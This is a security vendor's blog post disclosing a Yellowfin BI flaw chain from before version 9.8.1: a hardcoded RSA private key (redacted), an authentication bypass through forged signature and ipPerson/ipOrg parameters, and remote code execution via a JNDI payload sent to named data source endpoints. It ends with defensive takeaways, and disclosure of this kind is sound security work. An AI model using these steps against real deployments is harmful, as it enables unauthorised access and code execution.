We use cookies to enhance your experience of our website, save your preferences and provide us with information on how you use our website. For more information please read our Privacy Policy. By using our website without changing your browser settings you consent to our use of cookies.
Feb. 2, 2023 Yellowfin BI’s Security Issues Highlight Risk of Hardcoded Keys
5 minute read
Yellowfin BI’s Security Issues Highlight Risk of Hardcoded Keys

Yellowfin BI, a popular provider of business intelligence (BI) software, maintains downloadable software that allows a user to run trial or demo version locally. For user convenience, Yellowfin BI downloads the entire backend application source code locally. Prior to version 9.8.1, this downloaded source code contained a hardcoded private key. This hardcoded key was also active in production. Due to this vulnerability, an adversary can chain the hardcoded keys with authentication bypass, which could lead to remote code execution (“RCE”). This article shares lessons learned and key takeaways for organizations seeking to prevent similar security issues with hardcoded keys.

Where was Yellowfin BI leveraging hardcoded keys

The first instance of a hardcoded private key was found in YellowfinBI’s REST API implementation at /api/rest/service/StoriesApiService.java. This hardcoded key is used to verify APIs calls from the Yellowfin BI’s URI at /stories/{storyUuid}/body. The below source code illustrates an redacted private key, which was hardcoded in Yellowfin app:

try {
final PrivateKey generatePrivate = KeyFactory.getInstance("RSA").generatePrivate(new PKCS8EncodedKeySpec(Base64.getDecoder().decode("MIIEvwI[..REDACTED..]uHWkYj/A== ")));
final StringBuilder sb = new StringBuilder(uuid.toString());
sb.append('\n').append(currentDateTime);
final byte[] bytes = sb.toString().getBytes(StandardCharsets.UTF_8);
final Signature instance = Signature.getInstance("SHA512withRSA");
instance.initSign(generatePrivate);
instance.update(bytes);
encode = URLEncoder.encode(new String(Base64.getEncoder().encode(instance.sign())), "UTF-8");
}

Authentication bypass

Successful authentication will redirect the page to /StoryBody.i4. This includes the following GET parameter:
1. “storyUDID” is the GUID for story.
2. “s” is the value of the encode variable received from StoriesApiService.java. With the hardcoded value of the private key we were able to calculate the value of “s” to FeHGWgaVo[…REDACTED…]8CIej2eVq6w==.
3. “ts” is time stamp.
4. “ipPerson” is the numerical value one can even set it to 1.
5. “ipOrg” is the numerical value one can even set it to 1.

final SessionBean sessionBean = this.getSessionBean();
final StringBuilder sb2 = new StringBuilder("redirect:/StoryBody.i4?storyUUID=");
sb2.append(uuid.toString());
sb2.append("&s=").append(encode);
sb2.append("&ts=").append(currentDateTime);
sb2.append("&ipPerson=").append(sessionBean.getPrsnBean().getIpPerson());
sb2.append("&ipOrg=").append(sessionBean.getPersonSearchIpOrg());
...
}

Once the authentication bypass is successful, there are two endpoints that will allow persistent web connection:
1. /logonCheck.i4
2. /keepAlive.i4
These two URLs needs to pass POST parameter for the with Credentials key and session token.

Execution of RCE attack

After successful authentication, the next step in this chaining attack is to perform remote code execution. In order to perform this attack, there are three vulnerable endpoints that can be targeted /NewSourceCreationAjax.i4, /CreateSimpleSourceAjax.i4 or /CreateSimpleViewAjax.i4. This endpoint provides a POST parameter called action, which allows them to save content within JSON parameter. Once can force the application to call JNDISourcePlatformImplementation and call either the DB information or call other protocols such as LDAP.

{“action”:”save”,
“testConnection”:True,
“json”:
{
"restrictedSourceCreation": False,
"displaySourceIcon": "connection_type_jndi",
"sourceClassName": "com.hof.sources.JNDISourcePlatformImplementation",
"enabledForTransformations": False,
"connectionMethodCode": "JNDI",
"displaySourceLongDescription": "",
"customParameters": [
{
"displayType": 4,
"defaultValue": "",
"displayName": "",
"uniqueKey": "DATABASEURL",
"disabled": False,
"refreshOnChange": False,
"value": jndi,
"clearsAllParameters": False,
"options": None
}
],
"userCanCreateView": True,
"databaseTypeCode": "GENERICJDBC",
"displaySourceName": "JNDI",
"validationMessages": "",
"sourceName": "",
"sourceDescription": ""
}

Key Takeaways

Hardcoded keys or non-production code can lead to significant security impacts, including access into test accounts or access to non-production data or code. As security and technology leaders think about this particular risk, Certus Cybersecurity recommends focusing on these key actions:
• Ensure that all hardcoded keys are stored in the configuration, environment (.env) or YAML files. Developers should avoid pushing these files into a repo that will be used for production.
• Run code review scans to ensure that hardcoded keys and any non-production, unused code is purged before release.
• Ensure that granular authentication and authorization controls are in place for all users. A user should not be able to bypass authentication controls by changing the parameter such as ipPerson to some other numeric value. Organizations should also enforce either attribute based or role-based access controls.

About the Author 

Swapnil Deshmukh is CTO & co-founder of Certus Cybersecurity. A product security thought leader and subject matter expert, Swapnil is responsible for leading the company's global team of security engineers.

Contact Us
Ready to get started? Book a free consultation today, and we’ll write you back within 24 hours. For further inquiries, please submit the form at right. By submitting completed “Book a Free Consultation” form, your personal data will be processed by Certus Cybersecurity. Please read our Privacy Notice for more information.